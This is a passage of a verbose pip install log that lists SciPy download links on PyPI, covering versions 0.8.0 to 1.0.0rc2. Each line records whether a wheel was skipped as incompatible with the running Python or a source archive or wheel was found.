    Skipping link https://pypi.python.org/packages/63/68/c5098f3b6034e69d187e3f2e989f462143d9f8b524f5a4f9e13c4a6f5f47/scipy-0.19.1-cp27-cp27m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=72415e8da753eea97eb9820602931cb5 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/63/69/eb687ee0c5a746f7dfdd828c211e028a219e635aeaa3740692dd6ef43972/scipy-1.0.0rc1-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=4a584162298de68ec77fa3d198408f2b (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/65/a0/4b3d716ed9299d68086ff8f68b64a0fa958ab0076a94be6b070e1fb7839f/scipy-0.15.1-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=dae3174d812f31696e6d8bca2d5a1b20 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/65/ab/86c8f34f336d5a28e5f0f1d53438de58a0177eedfc3890d889b6f5f53442/scipy-0.19.0-cp34-cp34m-manylinux1_x86_64.whl#md5=ed27be5380e0aaf0229adf747e760f8c (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/68/14/8b5f70e1ad66fbb9548a00e42cec56de84bec815912b8c9f53c179802fd9/scipy-0.16.0-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=66095f15bbb94db991cdb4cc66eac01b (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/68/e0/77615ca6a9a053d9d19f4abab0e27514161eba97da47ea601b73c237cd48/scipy-0.11.0.zip#md5=40b700ddde9ddab643b640fff7a9d753 (from https://pypi.python.org/simple/scipy/), version: 0.11.0
    Skipping link https://pypi.python.org/packages/6a/31/65ae90597cd31d20ee179a5351fafb4f698ceb335624b96468ae7dfc4b28/scipy-0.18.0-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=aec151bd64fee0651dc804f8b57a1948 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/6a/6f/1d142d230fa045710ff3a8521b7799f6c436df7ba2bb1852cbc86c0dbaad/scipy-1.0.0rc1-cp35-none-win32.whl#md5=6f17abebd83070e8567bfb1c54fac548 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/6e/e8/cfcfe2801887a819081cd72df1428eed591297adaa5f9c76631e7a8b1df7/scipy-0.16.1-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=32056047a528677ec93f879c24235bc3 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/6f/34/89d8a7d2f5d7c4e4ebd75f44adb4367b14abbd8dd28ab17bc798d4e38629/scipy-0.13.3-cp27-none-macosx_10_6_intel.whl#md5=4bc791c9f37645380cab2843e63d18db (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/70/8c/b002f4607a373b4fe1b9a0e8a1b8a04a911e180e9f5f6995dce098c65880/scipy-1.0.0b1-cp35-cp35m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=5792391872cb6f543b671ab0f5a6a617 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/70/e9/e61b0855638d341dfea5a6cea7cfeb08d1e8b7fe7bb6060ec15fcb5815ec/scipy-0.19.1-cp35-cp35m-manylinux1_i686.whl#md5=d6c2ecadd4df36eb61870227fae42d3a (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/70/f7/5cf0b8ac375bf8c62f78cdf2e43f7d6f949b65c63d6c231bf7f5761d272e/scipy-0.13.2-cp27-cp27mu-manylinux1_x86_64.whl#md5=76472b79b20706b41c0d7ce8048a9b6a (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/72/41/44846a3c6f83b9d884f964d97b3cf4934078b65beecc741508d83613daa0/scipy-0.18.1-cp27-cp27m-manylinux1_x86_64.whl#md5=5b28b40b84a9123e0b54a13fa410e967 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/72/eb/d398b9f63ee936575edc62520477d6c2353ed013bacd656bd0c8bc1d0fa7/scipy-0.19.0-cp27-cp27m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=dde4d5d44a0274a5abb01be4a3cd486a (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/73/bb/47e899fe7c6d976e90f70f313fb2d1697ec981457c907d7abc951f0affa1/scipy-0.17.0-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=a77d71df0552df9944a93f930741eebf (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/74/18/2bd4719bcd359121a4ea56b833b1fc2cc2d3ddea8cb2699bbebae72bda18/scipy-0.19.1-cp27-cp27m-manylinux1_x86_64.whl#md5=f513eb4ea2086de169a502df7efb91c7 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/74/55/69a4e7d9c093b4b2bb6c60ad634a122f93bf420c83331df6f3a6fbfad248/scipy-0.14.0-cp27-cp27m-manylinux1_x86_64.whl#md5=239ecb6a4f3bf0b3154539e710453f6a (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/74/5a/2a7474768bffb3ee40544f91d4d9673e838bf3d6982bb05a1cf2487a8f7e/scipy-0.17.0-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=70887caa75faf193f502c9269d308a03 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/74/c0/f0bf4eaef1b6aa7bdd1ae5597ce1d9e729417b3ca085c47d0f1c640d34f8/scipy-0.18.1-cp36-cp36m-manylinux1_x86_64.whl#md5=3a2cfa79c7d3d8b1bc520e36f947a648 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/74/d2/dd67138a84d499025a8f6b412517fe4a73e9561b35fc09e9f8b9c59e3403/scipy-0.19.0-cp27-cp27m-manylinux1_i686.whl#md5=08809612b46e660e567e3272ec11c808 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/74/e8/14315e1ef08322a36cf756d165385ea0f25afd289d7e86eb2a7138640153/scipy-0.15.1.tar.gz#md5=be56cd8e60591d6332aac792a5880110 (from https://pypi.python.org/simple/scipy/), version: 0.15.1
    Skipping link https://pypi.python.org/packages/75/88/63dd10deab739027163b2f034faedd189da728d8010ad2aaef6d527c7286/scipy-0.19.1-cp35-cp35m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=602a741a54190e16698ff8b2fe9fd27c (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/75/a0/e65ec814f482bf58e1342e33a6b6c96d26b89ca1eb660ebeaadcd535fdd8/scipy-1.0.0rc1-cp27-none-win_amd64.whl#md5=d8860e57116d0b40b7a2835b8f0e802d (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Found link https://pypi.python.org/packages/76/3d/ad5f3d19d553cf4a01fb57dd95dc83d9493e3d289511881d4900e0f17ac0/scipy-0.14.0.tar.gz#md5=d7c7f4ccf8b07b08d6fe49d5cd51f85d (from https://pypi.python.org/simple/scipy/), version: 0.14.0
    Skipping link https://pypi.python.org/packages/76/91/f9d5c571e185509ed293259bd75abc688dc719217c8ef0bb99aea8596671/scipy-0.13.0-cp34-cp34m-manylinux1_x86_64.whl#md5=b6c91770daa84d136d802ee2216e2765 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/76/d1/c41cebf205a445722eb004364a971c3b6dff9ab88430a0adae808407e9ef/scipy-0.13.0.zip#md5=bd588ce8255e4d5427b5b19e9da2d4c7 (from https://pypi.python.org/simple/scipy/), version: 0.13.0
    Found link https://pypi.python.org/packages/7a/9b/8cddb261f5ca580c36f395c2fce8ad04a83fa0d10ce8fcaa18c318740e9c/scipy-1.0.0b1-cp36-none-win_amd64.whl#md5=d7b1ed22b9be7d0d9876b7472dee318e (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*), version: 1.0.0b1
    Skipping link https://pypi.python.org/packages/7a/d1/2eb817c4c467b3f5ee64a0cdadd0c8b6293b6408674506d726c1a57ea2a7/scipy-0.14.0-cp33-cp33m-manylinux1_x86_64.whl#md5=8354b87afa767e50d9a191daa1ff7ca0 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/7b/09/9813b0e9eedc989ff6ac8e544198f126e0801d79922725585579f82ab157/scipy-0.14.0-cp34-cp34m-manylinux1_x86_64.whl#md5=0fc011090a2976a5a9154d5ba182b765 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/7b/e1/ecc1820874c396a094e6df30d4d3aa8119d4987c5ff0b9caec73db362849/scipy-0.16.1.tar.gz#md5=967cdb8588a4249f820344d8264a2143 (from https://pypi.python.org/simple/scipy/), version: 0.16.1
    Skipping link https://pypi.python.org/packages/7d/d3/86fe2115341f9ba01f1e9af3063e7d431587016aabf1c3a5546f33d3db55/scipy-0.17.0-cp35-cp35m-manylinux1_x86_64.whl#md5=a6f43f8a10e9f4c128b11556fdbec0be (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/7e/95/df3dd7527db6fbf8f2dcce4cc0919bb1fb7fb0463739dddde49c225a87e5/scipy-0.17.0.zip#md5=28a4fe29e980804db162524f10873211 (from https://pypi.python.org/simple/scipy/), version: 0.17.0
    Skipping link https://pypi.python.org/packages/80/0d/0bbff4334ed630556756a773b5e7b378709f63f79be5ccc350b5fe2883fb/scipy-0.14.0-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.whl#md5=d3728a6d43c3265003db3781cbd4660f (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/81/8a/34b1644a7ae3658028895b0c49628f21c12f3f76231dd9356a4a07adf65d/scipy-1.0.0rc2-cp35-cp35m-manylinux1_i686.whl#md5=65db0eb9f859cd4133bf19175c035243 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Found link https://pypi.python.org/packages/82/0d/987404674724e5bbdd9341ab8bf1a7c52a4082d4ba1ab5ff81ee2ebe8456/scipy-0.8.0.tar.gz#md5=f0bfc6141b90e6a31555b31486602251 (from https://pypi.python.org/simple/scipy/), version: 0.8.0
    Found link https://pypi.python.org/packages/83/54/f1760dd82ebf52859a1a7153187f16abc2814327ad830b7f7d6808da890a/scipy-0.13.1.tar.gz#md5=e082fe358a2b39cff235e5af4240f5a5 (from https://pypi.python.org/simple/scipy/), version: 0.13.1
    Skipping link https://pypi.python.org/packages/83/7c/5ba1ca301c3b1ddd8d097778fea2ecc3c34f5c5fb9e95f562d55082aa5f1/scipy-0.13.1-cp27-cp27m-manylinux1_x86_64.whl#md5=f528f2c9dc2d55ccd9baf6e51ce4199d (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/83/94/689cbec699b0f1dd230ceb41acda1ac1b212c028c570c4ca932649330e85/scipy-0.16.0-cp35-cp35m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=173cc55ccbe96033b5cab3ad276158e4 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/83/be/b68316908d9693708bebb30f99484b1b13297929e8f5206b0bc1c0f8480c/scipy-1.0.0rc2-cp27-none-win32.whl#md5=b36155fd3b91eddcafb25f2426f394c2 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/84/a3/2447a921568866fbda5ec3397ad2b0fe8d0cb038801fd75828a1feabe4ff/scipy-0.10.1-cp26-cp26mu-manylinux1_x86_64.whl#md5=f7f63e5ea3960d92e30cf2eab102c32e (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/85/bf/9f4c4a3767034c346f7dabdc3c89f808b1e73446617d2612b34b0159c6c8/scipy-0.17.1-cp27-cp27m-manylinux1_x86_64.whl#md5=fd79ca7e76d47b6a7e1066eba06ed23f (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/86/1c/ecd14ac89d2d3ad8c06abb5cd406a33f6acd52f2f3656bd372b44ff43ddf/scipy-0.15.1.zip#md5=0bd8aa1133118abc77d0d69cc2777ef3 (from https://pypi.python.org/simple/scipy/), version: 0.15.1
    Found link https://pypi.python.org/packages/86/e6/abd42b57e41a3bb87c1e4f4b8455267e010c1b2a4c7ed18ccc4b9ac7fbbc/scipy-0.18.0rc2.tar.gz#md5=499c9ebb0d4f6f596ef26a771c37b03b (from https://pypi.python.org/simple/scipy/), version: 0.18.0rc2
    Skipping link https://pypi.python.org/packages/87/8f/88a1066f643d65c58fedd869aa480e6c743e715334b3584035d4fada2dc7/scipy-0.13.0-cp33-cp33m-manylinux1_x86_64.whl#md5=61e81cfb1d1e66d83c02866a31e655a7 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/88/55/7344997a3fec322a774e9d418db36a01ab6c1eb95a54e69babdfba07f1a2/scipy-0.19.0-cp27-cp27mu-manylinux1_i686.whl#md5=a2669158cf847856d292b8a60cdaa170 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/8a/10/4ca7abdd5d13f97ae6eeaaaa279b7bb38c120d6d239a0db60a9b4c1d3c32/scipy-0.11.0-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.whl#md5=b385333496b8b25a5782c2a7a35413d3 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/8a/27/dd4d84451f5aadee6a8b47addf9a38f60e4ad395254ddd0dbcb5e03df9ba/scipy-1.0.0rc2-cp36-cp36m-manylinux1_x86_64.whl#md5=ec5ad59e7bd1d084e7b28677e9f7c2e2 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/8a/2e/cd53468ce7d2d6f85f321265238d5f5cca846af448621042fc6b7ab31a21/scipy-0.18.1-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=bd831c36d4d844f9ffbbc76232827394 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/8a/de/326cf31a5a3ba0c01c40cdd78f7140b0510ed80e6d5ec5b2ec173c72df03/scipy-0.17.1-cp27-cp27mu-manylinux1_x86_64.whl#md5=8d0df61ceba78a2796f8d90fc979576f (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/8b/65/dfaa7510f51b3dd59cbf5c11717f7cd9fa4bd4f7812838672e77b2206f79/scipy-0.12.1-cp27-cp27mu-manylinux1_x86_64.whl#md5=d1b965456eb1241e3a0f0790462531d7 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/8c/a0/bcb7480b0b9a38f4f6026c9cf4168fd2d648227af1429e5fa174f3316525/scipy-0.16.0.zip#md5=1764bd452a72698b968ad13e51e28053 (from https://pypi.python.org/simple/scipy/), version: 0.16.0
    Skipping link https://pypi.python.org/packages/8d/29/d83204aa1f67796049f8b0b91cd177b3ab9049828c41dc886891c5cb9c8f/scipy-1.0.0rc2-cp27-cp27m-manylinux1_i686.whl#md5=d6e56bad4566461da8a6cbf462937275 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/8e/43/a7b400e7ea07220fb419f0669ff17f5ef71653cf32827315224bc9dda9d4/scipy-0.19.1-cp27-cp27mu-manylinux1_x86_64.whl#md5=afbf8ffb4a4fe7c18e34cb8a313c18ee (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/90/2a/07487db495c7d283e6825435bcf99e48b25e3142a5457adf89f208305e24/scipy-1.0.0rc1-cp35-cp35m-manylinux1_i686.whl#md5=44a93e24918c182df9360f76e0cc8736 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/90/66/a610cdf6201374d3dd012f74bed6cdfbfac0229b5a91a0121a345f812bdc/scipy-0.17.0-cp35-cp35m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=8e2adbbe5d83f773d6a1d915c46eb62f (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/90/d7/8e5fe7e9ff599ac19d24d842c2791da49710e17c081b6a8f4f93f9f98977/scipy-0.13.2-cp27-cp27m-manylinux1_x86_64.whl#md5=e05ced3da45a3d7b657a102f6ebe79f6 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/91/f3/0052c245d53eb5f0e13b7215811e52af3791a8a7d31771605697c28466a0/scipy-0.17.1-cp35-cp35m-manylinux1_x86_64.whl#md5=8e77756904c81a6f79ed10e3abf0c544 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/91/f7/6549a9e1a6a8a95a20ac93fe9881f7b2c67314a9b51cb11c959a51083c3c/scipy-0.10.0.zip#md5=d1a4242266739433dcfe2096b0ab4007 (from https://pypi.python.org/simple/scipy/), version: 0.10.0
    Skipping link https://pypi.python.org/packages/95/25/f330f3b1b929a56dfd2a2213bf917a81e26a031ac0cc8f30e986a4a88bab/scipy-0.12.1-cp27-cp27m-manylinux1_x86_64.whl#md5=b7ef2ebddaf37dfb83a300e5b312152b (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/95/f2/bc68dec48da53b9152d9a260e2be81d67318ea44ad2d1fd1cdb9278e1d03/scipy-0.18.0rc2-cp27-cp27mu-manylinux1_i686.whl#md5=bcc737e766e11f3e83337fb473c9fb8f (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/96/e9/dc57da726dad825548b472dcaa9343486fd2ee514ac714272e38d7c6c9e1/scipy-0.15.0.tar.gz#md5=639112f077f0aeb6d80718dc5019dc7a (from https://pypi.python.org/simple/scipy/), version: 0.15.0
    Skipping link https://pypi.python.org/packages/97/4a/d1653a32faf91307d83093d4952bcb0211fa5025531508a8fceb477a3e97/scipy-0.18.0rc2-cp27-cp27m-manylinux1_i686.whl#md5=4c1246ae2a8a87d588cdef226350dd2e (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/97/5f/18714e4ae759fd5fef643c8f578fbef1a513f5302681a3b20f80f09700c9/scipy-0.18.1-cp36-cp36m-manylinux1_i686.whl#md5=8a5ccf374b122647601ae02350c6c115 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/97/f3/591afcea48ec2c97197880d6a1aa89f3b2953a2a704ea12f93f2a753d260/scipy-1.0.0b1-cp27-cp27mu-manylinux1_x86_64.whl#md5=aa42a9415f26e9fffa916317b236227f (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/98/3c/73a4941c600b3b6371522e487ee5ff534b395a05fff92631b53b792271e3/scipy-0.10.0-cp27-cp27mu-manylinux1_x86_64.whl#md5=8588ec6c4c2b32d513dc40f450cca9d9 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/98/ee/11f60a8c8ffd38566f567fa863dbab9c252443915ea1f4dfd3b2a0734467/scipy-0.13.2-cp26-cp26mu-manylinux1_x86_64.whl#md5=eaa99a3e063996229179d5a3f19b34da (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/99/89/a2d8e873897c8ec5d20d1ae3ef6d54825dbdf13e3e7e3bf279f516aaf371/scipy-0.15.1-cp26-cp26mu-manylinux1_x86_64.whl#md5=cb722e97e92dc6a10c581d89198bc2cf (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/99/a0/2f889809aa0d3d665a4f41506e50cd7e34a52ae8ec9c6b557e04fc640903/scipy-0.18.0rc2-cp35-cp35m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=686493b410d4a00d05e30a77994320a4 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/9a/01/e497d137fa5cccab3274d15ff15ae7230203b8bacb02e0316b08fd548d6f/scipy-0.16.0-cp27-cp27m-manylinux1_x86_64.whl#md5=157f0742d192e968b558056a820e5b59 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/9b/4a/eaf906fab762e85590678ffc1e220b4c697325cf5eac0c2e9d79a026afbd/scipy-0.19.1-cp36-cp36m-manylinux1_i686.whl#md5=458615e9a56429a72038531dd5dcb3cb (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/9c/85/d8fd3c75ee4b216c0283efde113b42c8d6cf7e2d3bdd04928f5f0fcf4fc6/scipy-0.17.1.zip#md5=cdcf93e240e2b0e4007b86cb78eda438 (from https://pypi.python.org/simple/scipy/), version: 0.17.1
    Skipping link https://pypi.python.org/packages/9c/a9/acc951901d95f5d0d954f0f226d3ba66f00acd39e8aa7bfe0728b2ac4687/scipy-0.16.1-cp34-cp34m-manylinux1_x86_64.whl#md5=fb001653cc806165a6ada759d9e76552 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/9c/db/42a2363b6f5efca713e310d4c469d04140dff266b022e1a49aee3b58f62f/scipy-0.12.1.tar.gz#md5=906278290152fedfe79029371ca584a5 (from https://pypi.python.org/simple/scipy/), version: 0.12.1
    Skipping link https://pypi.python.org/packages/9e/12/a15e8acb2a6684567545169f361f381d129573ee55bffd8944cae31c696d/scipy-0.15.0-cp33-cp33m-manylinux1_x86_64.whl#md5=e0078c66efcf3cc1ad033305c435c367 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/9e/a2/bf25eced70320b0a6c16c86c057906f93deb966fc95db823ba5fbe1868c9/scipy-0.14.1rc1-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=bbe1317ca465c1246a71a86a5c380f0f (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/9e/bf/e9ebe6ed006f825ede61b991999ac4b4379502932e11817a7f9ff6e91ca7/scipy-0.11.0-cp27-cp27mu-manylinux1_x86_64.whl#md5=518ee6f05e48b81537df9761e0cc1c19 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/a0/72/b83b646ed7a0c3d207140d7eca7385d97c1de01273e575f24dd936e0bde0/scipy-0.11.0-cp27-cp27m-manylinux1_x86_64.whl#md5=0525be656e2a20dc40fb5b9ae9f892e4 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/a0/db/f92d782bd74ec7f9f30fef6143856740b4a93bfbeb715f3e923c0b83dcb9/scipy-0.10.0.tar.gz#md5=e357c08425fd031dce63bc4905789088 (from https://pypi.python.org/simple/scipy/), version: 0.10.0
    Skipping link https://pypi.python.org/packages/a2/6b/814afdf98fed9defaec70052e29a7d10eb992bcabb01098677e361846a7a/scipy-0.19.1-cp27-cp27mu-manylinux1_i686.whl#md5=906c3c59209d6249b5d8ce14cfa01382 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/a2/9b/8f4ce493658e62926bef162ed3a578fb275356864792720a762e8826e1e6/scipy-1.0.0rc2-cp27-cp27m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=d30c77ddfe3f03d1c4c4fb0aae08fa89 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/a3/32/55ccba68da8c0067af759efde2a6be6bd4d4d38628d1ca72ffc2d96f9fa4/scipy-0.14.1rc1-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=1e6c155aa0bf5a248d3e46cf1d0ff44a (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/a4/3a/625081f4430fc096c2bdfe11036618cc0f80ba9c680823c764efb760dc7a/scipy-0.17.1-cp27-cp27mu-manylinux1_i686.whl#md5=a9fde28576dfe270894eb73dd5e8dc5a (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/a4/3b/b89ac83e69bde5903ff738ac351104db30adb492a96bab19c9d8bfc27c8f/scipy-1.0.0rc1-cp34-cp34m-manylinux1_i686.whl#md5=96068cbeab533ff8a326ef4c45d7f1ad (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/a6/e0/8ad8816c1a02ac47a6c13de4f2e70c2eddfe650a678263f8d891b4caea7a/scipy-0.15.0-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=7c431a473ac65fd7cab4859c3743088b (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/a7/3f/2e92b9dcd8371ee64837551549b407f46272b7169ddca2145fe23101d5ed/scipy-0.13.0-cp27-none-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.whl#md5=0b3c405ba421f43cf97837c5aa172515 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/a7/5b/f21176a539db6a323605a6beb2ae504e3e85fdd7f26944fe2f23f1f89e5c/scipy-1.0.0rc1-cp27-cp27m-manylinux1_i686.whl#md5=c42bd74c63e3c426f62bbe38890dcfe5 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/a7/a5/447e56abc3854a343c2f01c8fb274570057bc2550b71bd5134a264d4251e/scipy-0.19.1-cp35-cp35m-manylinux1_x86_64.whl#md5=e7167c0a9cf270f89437e2fd09731636 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/aa/2c/c43e3d124c61d0290e3ea782dd3f0a24e4dc51f5dfafeb54955fde8b82ba/scipy-1.0.0rc1-cp36-cp36m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=cef61b478f4c887495f2b190dae5d8f2 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
